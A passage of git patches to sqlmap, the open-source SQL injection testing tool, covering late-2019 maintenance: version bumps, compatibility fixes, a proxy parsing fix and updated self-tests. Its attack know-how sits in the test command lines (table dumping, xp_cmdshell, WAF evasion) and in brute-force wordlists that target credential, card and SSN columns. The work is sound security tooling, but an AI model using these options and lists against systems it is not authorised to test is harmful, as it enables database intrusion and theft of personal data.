"List of supported adapters: %s" % ', '.join(sorted(list(server_names.keys()))) else: errMsg = "Server support for adapter '%s' is not installed on this system " % adapter - errMsg += "(Note: you can try to install it with 'sudo apt-get install python-%s' or 'sudo pip install %s')" % (adapter, adapter) + errMsg += "(Note: you can try to install it with 'sudo apt install python-%s' or 'sudo pip install %s')" % (adapter, adapter) logger.critical(errMsg) def _client(url, options=None): diff --git a/lib/utils/brute.py b/lib/utils/brute.py index 4b75a0b5d..b1589dafe 100644 --- a/lib/utils/brute.py +++ b/lib/utils/brute.py @@ -163,7 +163,7 @@ def tableExists(tableFile, regex=None): if not threadData.shared.files: warnMsg = "no table(s) found" if conf.db: - warnMsg += " for database '%s'" % conf.db + warnMsg += " for database '%s'" % conf.db logger.warn(warnMsg) else: for item in threadData.shared.files: diff --git a/thirdparty/keepalive/keepalive.py b/thirdparty/keepalive/keepalive.py index 86bcdd877..4647f1f7c 100644 --- a/thirdparty/keepalive/keepalive.py +++ b/thirdparty/keepalive/keepalive.py @@ -107,9 +107,11 @@ from __future__ import print_function try: from thirdparty.six.moves import http_client as _http_client + from thirdparty.six.moves import range as _range from thirdparty.six.moves import urllib as _urllib except ImportError: from six.moves import http_client as _http_client + from six.moves import range as _range from six.moves import urllib as _urllib import socket @@ -569,7 +571,7 @@ def fetch(N, url, delay=0): import time lens = [] starttime = time.time() - for i in range(N): + for i in _range(N): if delay and i > 0: time.sleep(delay) fo = _urllib.request.urlopen(url) foo = fo.read() From 251c8ba064a2289317b559bf6f021be80611ae09 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 10 Dec 2019 13:54:29 +0100 Subject: [PATCH 037/159] Minor update --- lib/core/testing.py | 4 ++-- lib/parse/cmdline.py | 2 ++ 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/core/testing.py b/lib/core/testing.py index 200be1bd9..788935d57 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -69,14 +69,14 @@ def vulnTest(): (u"-u --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape", (u": '\u0161u\u0107uraj'",)), ("--list-tampers", ("between", "MySQL", "xforwardedfor")), ("-r --flush-session -v 5", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar")), - ("-l --flush-session --skip-waf -v 3 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell")), + ("-l --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), ("-l --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")), ("-u --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")), ("-u --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")), ("-u --flush-session -H 'Foo: Bar' -H 'Sna: Fu' --data='' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5", ("might be injectable", "Payload: --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")), ("-u --flush-session -H 'id: 1*' --tables", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), - ("-u --flush-session --banner --invalid-logical --technique=B --test-filter='OR boolean' --tamper=space2dash", ("banner: '3.", " LIKE ")), + ("-u --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter='OR boolean' --tamper=space2dash", ("banner: '3.", " LIKE ")), ("-u --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), ("-u --flush-session --null-connection --technique=B --tamper=between,randomcase --banner", ("NULL connection is supported with HEAD method", "banner: '3.")), ("-u --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")), diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 85aef4650..f69ca58ea 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -942,6 +942,8 @@ def cmdLineParser(argv=None): elif argv[i] == "-H": if i + 1 < len(argv): extraHeaders.append(argv[i + 1]) + elif argv[i] == "--deps": + argv[i] = "--dependencies" elif argv[i] == "-r": for j in xrange(i + 2, len(argv)): value = argv[j] From 9866e478b912a5f64d1f2c969cf2cee23538cdce Mon Sep 17 00:00:00 2001 From: "Gabriel M. Dutra" Date: Tue, 10 Dec 2019 11:26:57 -0300 Subject: [PATCH 038/159] Change vocabulary for better understanding. (#4034) --- doc/translations/README-pt-BR.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/translations/README-pt-BR.md b/doc/translations/README-pt-BR.md index 1887772fe..71f755d1d 100644 --- a/doc/translations/README-pt-BR.md +++ b/doc/translations/README-pt-BR.md @@ -2,7 +2,7 @@ [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) -sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de penetração por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional. +sqlmap é uma ferramenta de teste de intrusão, de código aberto, que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de intrusão por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional. Imagens ---- From a5ed4c52552826ac33bf89e483fba3d66d47fdca Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 12 Dec 2019 11:42:03 +0100 Subject: [PATCH 039/159] Minor update --- data/txt/common-tables.txt | 64 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 64 insertions(+) diff --git a/data/txt/common-tables.txt b/data/txt/common-tables.txt index 95d234b33..8c1c8953f 100644 --- a/data/txt/common-tables.txt +++ b/data/txt/common-tables.txt @@ -3416,3 +3416,67 @@ usertbl # WebGoat user_data + +# https://laurent22.github.io/so-injections/ + +accounts +admin +baza_site +benutzer +category +comments +company +credentials +Customer +customers +data +details +dhruv_users +dt_tb +employees +events +forsale +friends +giorni +images +info +items +kontabankowe +login +logs +markers +members +messages +orders +order_table +photos +player +players +points +register +reports +rooms +shells +signup +songs +student +students +table +table2 +tbl_images +tblproduct +testv2 +tickets +topicinfo +trabajo +user +user_auth +userinfo +user_info +userregister +users +usuarios +utenti +wm_products +wp_payout_history +zamowienia From f01610b39739d045d9fc78860b0e119b7e01e84b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 12 Dec 2019 11:51:26 +0100 Subject: [PATCH 040/159] Minor update --- data/txt/common-columns.txt | 33 +++++++++++++++++++++++++++++++++ data/txt/common-tables.txt | 16 ++++++++++++++++ 2 files changed, 49 insertions(+) diff --git a/data/txt/common-columns.txt b/data/txt/common-columns.txt index abcfb489b..9b310bfa8 100644 --- a/data/txt/common-columns.txt +++ b/data/txt/common-columns.txt @@ -474,6 +474,7 @@ module_addr flag # spanish + usuario nombre contrasena @@ -486,6 +487,7 @@ tono cuna # german + benutzername benutzer passwort @@ -499,6 +501,7 @@ stichwort schlusselwort # french + utilisateur usager consommateur @@ -510,6 +513,7 @@ touche clef # italian + utente nome utilizzatore @@ -521,17 +525,20 @@ chiavetta cifrario # portuguese + usufrutuario chave cavilha # slavic + korisnik sifra lozinka kljuc # turkish + numara sira lokasyon @@ -605,6 +612,7 @@ kontak kontaklar # List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py) + user pass cc_number @@ -828,6 +836,7 @@ xar_name xar_pass # List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html + account accnts accnt @@ -897,6 +906,7 @@ user_pwd user_passwd # List from hyrax (http://sla.ckers.org/forum/read.php?16,36047) + fld_id fld_username fld_password @@ -1049,6 +1059,7 @@ yhmm yonghu # site:br + content_id codigo geometry @@ -1305,6 +1316,7 @@ newssummaryauthor and_xevento # site:de + rolle_nr standort_nr ja @@ -1467,6 +1479,7 @@ summary_id gameid # site:es + catid dni prune_id @@ -1556,6 +1569,7 @@ time_stamp bannerid # site:fr + numero id_auteur titre @@ -1607,6 +1621,7 @@ n_dir age # site:ru + dt_id subdivision_id sub_class_id @@ -1812,6 +1827,7 @@ language_id val # site:jp + dealer_id modify_date regist_date @@ -1943,6 +1959,7 @@ c_commu_topic_id c_diary_comment_log_id # site:it + idcomune idruolo idtrattamento @@ -2446,6 +2463,7 @@ client_img does_repeat # site:cn + typeid cronid advid @@ -2621,6 +2639,7 @@ disablepostctrl fieldname # site:id + ajar akses aktif @@ -2672,9 +2691,23 @@ urut waktu # WebGoat + cookie login_count +# https://sqlwiki.netspi.com/attackQueries/dataTargeting/ + +credit +card +pin +cvv +pan +password +social +ssn +account +confidential + # Misc u_pass diff --git a/data/txt/common-tables.txt b/data/txt/common-tables.txt index 8c1c8953f..12c210c29 100644 --- a/data/txt/common-tables.txt +++ b/data/txt/common-tables.txt @@ -1618,6 +1618,7 @@ Contributor flag # Various Joomla tables + jos_vm_product_download jos_vm_coupons jos_vm_product_reviews @@ -1711,6 +1712,7 @@ publicusers cmsusers # List provided by Anastasios Monachos (anastasiosm@gmail.com) + blacklist cost moves @@ -1762,6 +1764,7 @@ TBLCORPUSERS TBLCORPORATEUSERS # List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py) + tbladmins sort _wfspro_admin @@ -2048,6 +2051,7 @@ Login Logins # List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html + account accnts accnt @@ -2117,6 +2121,7 @@ user_pwd user_passwd # List from hyrax (http://sla.ckers.org/forum/read.php?16,36047) + wsop Admin Config @@ -2437,9 +2442,11 @@ Affichage1name sb_host_adminAffichage1name # site:jp + TypesTab # site:it + utenti categorie attivita @@ -2581,6 +2588,7 @@ oil_stats_agents SGA_XPLAN_TPL_DBA_INDEXES # site:fr + Avion departement Compagnie @@ -2751,6 +2759,7 @@ spip_ortho_dico spip_caches # site:ru + guestbook binn_forum_settings binn_forms_templ @@ -2848,6 +2857,7 @@ binn_path_temps order_item # site:de + tt_content kunde medien @@ -3010,6 +3020,7 @@ wp_categories chessmessages # site:br + endereco pessoa usuarios @@ -3172,6 +3183,7 @@ LT_CUSTOM2 LT_CUSTOM3 # site:es + jos_respuestas DEPARTAMENTO EMPLEADO @@ -3210,6 +3222,7 @@ grupo facturas # site:cn + url cdb_adminactions BlockInfo @@ -3355,6 +3368,7 @@ mymps_mail_sendlist mymps_navurl # site:tr + kullanici kullanicilar yonetici @@ -3401,6 +3415,7 @@ kontak kontaklar # List provided by Pedrito Perez (0ark1ang3l@gmail.com) + adminstbl admintbl affiliateUsers @@ -3415,6 +3430,7 @@ userstbl usertbl # WebGoat + user_data # https://laurent22.github.io/so-injections/ From 6e06df3d39fc6c0b1d768aec0ade605f9fbabe84 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 12 Dec 2019 14:10:02 +0100 Subject: [PATCH 041/159] Minor bug fix --- plugins/generic/databases.py | 2 +- plugins/generic/syntax.py | 15 +++++++++------ 2 files changed, 10 insertions(+), 7 deletions(-) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 7f80357b5..0f04f4015 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -901,7 +901,7 @@ class Databases(object): self.getTables() infoMsg = "fetched tables: " - infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) else '.', unsafeSQLIdentificatorNaming(_)) for _ in tbl) for db, tbl in kb.data.cachedTables.items()]) + infoMsg += ", ".join(["%s" % ", ".join("'%s%s%s'" % (unsafeSQLIdentificatorNaming(db), ".." if Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) else '.', unsafeSQLIdentificatorNaming(_)) for _ in tbl) for db, tbl in kb.data.cachedTables.items()]) logger.info(infoMsg) for db, tables in kb.data.cachedTables.items(): diff --git a/plugins/generic/syntax.py b/plugins/generic/syntax.py index 5a5b1e0e1..bb0bee737 100644 --- a/plugins/generic/syntax.py +++ b/plugins/generic/syntax.py @@ -28,13 +28,16 @@ class Syntax(object): if quote: for item in re.findall(r"'[^']*'+", expression): original = item[1:-1] - if original and re.search(r"\[(SLEEPTIME|RAND)", original) is None: # e.g. '[SLEEPTIME]' marker - replacement = escaper(original) if not conf.noEscape else original + if original: + if Backend.isDbms(DBMS.SQLITE) and "X%s" % item in expression: + continue + if re.search(r"\[(SLEEPTIME|RAND)", original) is None: # e.g. '[SLEEPTIME]' marker + replacement = escaper(original) if not conf.noEscape else original - if replacement != original: - retVal = retVal.replace(item, replacement) - elif len(original) != len(getBytes(original)) and "n'%s'" % original not in retVal and Backend.getDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.ORACLE, DBMS.MSSQL): - retVal = retVal.replace("'%s'" % original, "n'%s'" % original) + if replacement != original: + retVal = retVal.replace(item, replacement) + elif len(original) != len(getBytes(original)) and "n'%s'" % original not in retVal and Backend.getDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.ORACLE, DBMS.MSSQL): + retVal = retVal.replace("'%s'" % original, "n'%s'" % original) else: retVal = escaper(expression) From 3145de15d8f54c0991c7f070cd6a034ad3356d28 Mon Sep 17 00:00:00 2001 From: tanaydin sirin Date: Fri, 13 Dec 2019 17:29:12 +0100 Subject: [PATCH 042/159] Update common-columns.txt (#4039) Some more common Turkish column names. --- data/txt/common-columns.txt | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/data/txt/common-columns.txt b/data/txt/common-columns.txt index 9b310bfa8..16f7e8c7c 100644 --- a/data/txt/common-columns.txt +++ b/data/txt/common-columns.txt @@ -539,6 +539,19 @@ kljuc # turkish +isim +ad +adi +soyisim +soyad +soyadi +kimlik +kimlikno +tckimlikno +tckimlik +yonetici +sil +silinmis numara sira lokasyon @@ -554,7 +567,9 @@ ev_adres is_adresi ev_adresi isadresi +isadres evadresi +evadres il ilce eposta From 24aadbd850ff6d4a1754ce924124d33a593efa0c Mon Sep 17 00:00:00 2001 From: Ryan Young Date: Sun, 15 Dec 2019 08:06:26 -0700 Subject: [PATCH 043/159] Support IPv6 literals ("[::1]:8080") in the proxy switch. (#4041) --- lib/core/option.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index 7e6cac63d..24eb466e3 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -995,7 +995,7 @@ def _setHTTPHandlers(): errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) - hostnamePort = _.netloc.split(":") + hostnamePort = _.netloc.rsplit(":", 1) scheme = _.scheme.upper() hostname = hostnamePort[0] From 7dae324ed6ca4b7a49c4f6d3a9d0c83925a87614 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 15 Dec 2019 16:33:03 +0100 Subject: [PATCH 044/159] Trivial update --- lib/request/connect.py | 4 ++-- thirdparty/identywaf/data.json | 6 ++++++ thirdparty/identywaf/identYwaf.py | 2 +- 3 files changed, 9 insertions(+), 3 deletions(-) mode change 100644 => 100755 thirdparty/identywaf/data.json diff --git a/lib/request/connect.py b/lib/request/connect.py index f8bed48a6..26ab5526b 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1054,11 +1054,11 @@ class Connect(object): match = re.search(r"%s=[^&]*" % re.escape(parameter), paramString, re.I) if match: - retVal = re.sub("(?i)%s" % re.escape(match.group(0)), ("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString) + retVal = re.sub(r"(?i)%s" % re.escape(match.group(0)), ("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString) else: match = re.search(r"(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString, re.I) if match: - retVal = re.sub("(?i)%s" % re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString) + retVal = re.sub(r"(?i)%s" % re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString) return retVal diff --git a/thirdparty/identywaf/data.json b/thirdparty/identywaf/data.json old mode 100644 new mode 100755 index de90fdbbe..c6ab44ca5 --- a/thirdparty/identywaf/data.json +++ b/thirdparty/identywaf/data.json @@ -431,6 +431,12 @@ "e34c:RVZXum60OEhCWapAYKYPkoJyWOpohM4IiUYMr2RWg1qQJLX2uhdOn9htOj+hX7AB16FcPxJPdLsXomtKaK59nui6c4RmkgI2FZjxtDtAeq+c3qA4chS1XKTC" ] }, + "kuipernet": { + "company": "ASTSoft", + "name": "Kuipernet", + "regex": "(?s)Content-Length: 118214.+W5M0MpCehiHzreSzNTczkc9d", + "signatures": [] + }, "malcare": { "company": "Inactiv", "name": "MalCare", diff --git a/thirdparty/identywaf/identYwaf.py b/thirdparty/identywaf/identYwaf.py index 80f0d71ce..2209352f3 100755 --- a/thirdparty/identywaf/identYwaf.py +++ b/thirdparty/identywaf/identYwaf.py @@ -60,7 +60,7 @@ else: HTTPCookieProcessor = urllib2.HTTPCookieProcessor NAME = "identYwaf" -VERSION = "1.0.122" +VERSION = "1.0.124" BANNER = r""" ` __ __ ` ____ ___ ___ ____ ______ `| T T` __ __ ____ _____ From d38acbe34726564eed580a66b48a754ce338a32d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 18 Dec 2019 10:19:03 +0100 Subject: [PATCH 045/159] Fixing lost versioning --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 79d38ad4a..85d372a5b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.12.1" +VERSION = "1.3.12.24" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From d52d5f0ddc1f7cdef5aa51f7c54fc91218f1727e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 18 Dec 2019 11:04:01 +0100 Subject: [PATCH 046/159] Fixes #4046 --- lib/core/settings.py | 2 +- lib/request/redirecthandler.py | 16 +++++++++++++++- 2 files changed, 16 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 85d372a5b..b48ba9fc5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.12.24" +VERSION = "1.3.12.25" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index b74665108..13c3fb4a1 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -10,6 +10,7 @@ import time import types from lib.core.common import getHostHeader +from lib.core.common import getSafeExString from lib.core.common import logHTTPTraffic from lib.core.common import readInput from lib.core.convert import getUnicode @@ -139,6 +140,14 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler): except _urllib.error.HTTPError as ex: result = ex + # Dirty hack for https://github.com/sqlmapproject/sqlmap/issues/4046 + try: + hasattr(result, "read") + except KeyError: + class _(object): + pass + result = _() + # Dirty hack for http://bugs.python.org/issue15701 try: result.info() @@ -149,7 +158,12 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler): if not hasattr(result, "read"): def _(self, length=None): - return ex.msg + try: + retVal = getSafeExString(ex) + except: + retVal = "" + finally: + return retVal result.read = types.MethodType(_, result) if not getattr(result, "url", None): From b4f9bf3f21579af276fe32efb44bfd34ded16b96 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 18 Dec 2019 11:30:13 +0100 Subject: [PATCH 047/159] I don't know how this went through --- lib/core/settings.py | 2 +- sqlmapapi.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index b48ba9fc5..d6aa96891 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.12.25" +VERSION = "1.3.12.26" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmapapi.py b/sqlmapapi.py index 9c903b81d..9af5ab716 100755 --- a/sqlmapapi.py +++ b/sqlmapapi.py @@ -53,8 +53,8 @@ def main(): # Parse command line options apiparser = optparse.OptionParser() - apiparser.add_option("-s", "--server", help="Run as a REST-JSON API server", default=RESTAPI_DEFAULT_PORT, action="store_true") - apiparser.add_option("-c", "--client", help="Run as a REST-JSON API client", default=RESTAPI_DEFAULT_PORT, action="store_true") + apiparser.add_option("-s", "--server", help="Run as a REST-JSON API server", action="store_true") + apiparser.add_option("-c", "--client", help="Run as a REST-JSON API client", action="store_true") apiparser.add_option("-H", "--host", help="Host of the REST-JSON API server (default \"%s\")" % RESTAPI_DEFAULT_ADDRESS, default=RESTAPI_DEFAULT_ADDRESS, action="store") apiparser.add_option("-p", "--port", help="Port of the the REST-JSON API server (default %d)" % RESTAPI_DEFAULT_PORT, default=RESTAPI_DEFAULT_PORT, type="int", action="store") apiparser.add_option("--adapter", help="Server (bottle) adapter to use (default \"%s\")" % RESTAPI_DEFAULT_ADAPTER, default=RESTAPI_DEFAULT_ADAPTER, action="store") From c96283a083c32e3fa55b1e33d1861665d41e94a7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 18 Dec 2019 12:29:07 +0100 Subject: [PATCH 048/159] Minor patch --- lib/core/settings.py | 2 +- thirdparty/bottle/bottle.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index d6aa96891..0df23a4b1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.12.26" +VERSION = "1.3.12.27" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/bottle/bottle.py b/thirdparty/bottle/bottle.py index a937493ba..9e6219e40 100644 --- a/thirdparty/bottle/bottle.py +++ b/thirdparty/bottle/bottle.py @@ -2630,7 +2630,7 @@ def debug(mode=True): """ Change the debug level. There is only one debug level supported at the moment.""" global DEBUG - if mode: warnings.simplefilter('default') + #if mode: warnings.simplefilter('default') # neutralizing already set warning filters (e.g. DeprecationWarning inside sqlmapapi.py) DEBUG = bool(mode) From 9ca5dc798e7550c66f4e587868ccdbf8a50b7673 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 19 Dec 2019 17:35:39 +0100 Subject: [PATCH 049/159] Fixes #4047 --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 7f08066a5..b6e77c6f3 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1643,7 +1643,7 @@ def parseTargetUrl(): if '=' not in urlSplit.query: conf.url = "%s?%s" % (conf.url, getUnicode(urlSplit.query)) else: - conf.parameters[PLACE.GET] = urldecode(urlSplit.query) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query + conf.parameters[PLACE.GET] = urldecode(urlSplit.query, spaceplus=not conf.base64Parameter) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query if not conf.referer and (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3): debugMsg = "setting the HTTP Referer header to the target URL" diff --git a/lib/core/settings.py b/lib/core/settings.py index 0df23a4b1..2c1c33d65 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.12.27" +VERSION = "1.3.12.28" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 884ee5673019c9fda75329766b96d4739f986ad9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 23 Dec 2019 12:14:40 +0100 Subject: [PATCH 050/159] Fixes #4050 --- lib/core/settings.py | 2 +- lib/utils/sqlalchemy.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 2c1c33d65..52a53249e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.12.28" +VERSION = "1.3.12.29" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index ac862498b..a7af101b7 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -25,7 +25,7 @@ except ImportError: try: import MySQLdb # used by SQLAlchemy in case of MySQL warnings.filterwarnings("error", category=MySQLdb.Warning) -except ImportError: +except (ImportError, AttributeError): pass from lib.core.data import conf From 70e6700eb7692c50cffe2118ffbe6cb206bd9cfe Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 27 Dec 2019 14:38:22 +0100 Subject: [PATCH 051/159] Fixes #4053 --- lib/core/settings.py | 2 +- sqlmap.py | 5 +++++ 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 52a53249e..93c57e67a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.12.29" +VERSION = "1.3.12.30" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index cfb9ddac3..b353ae324 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -275,6 +275,11 @@ def main(): logger.critical(errMsg) raise SystemExit + elif all(_ in excMsg for 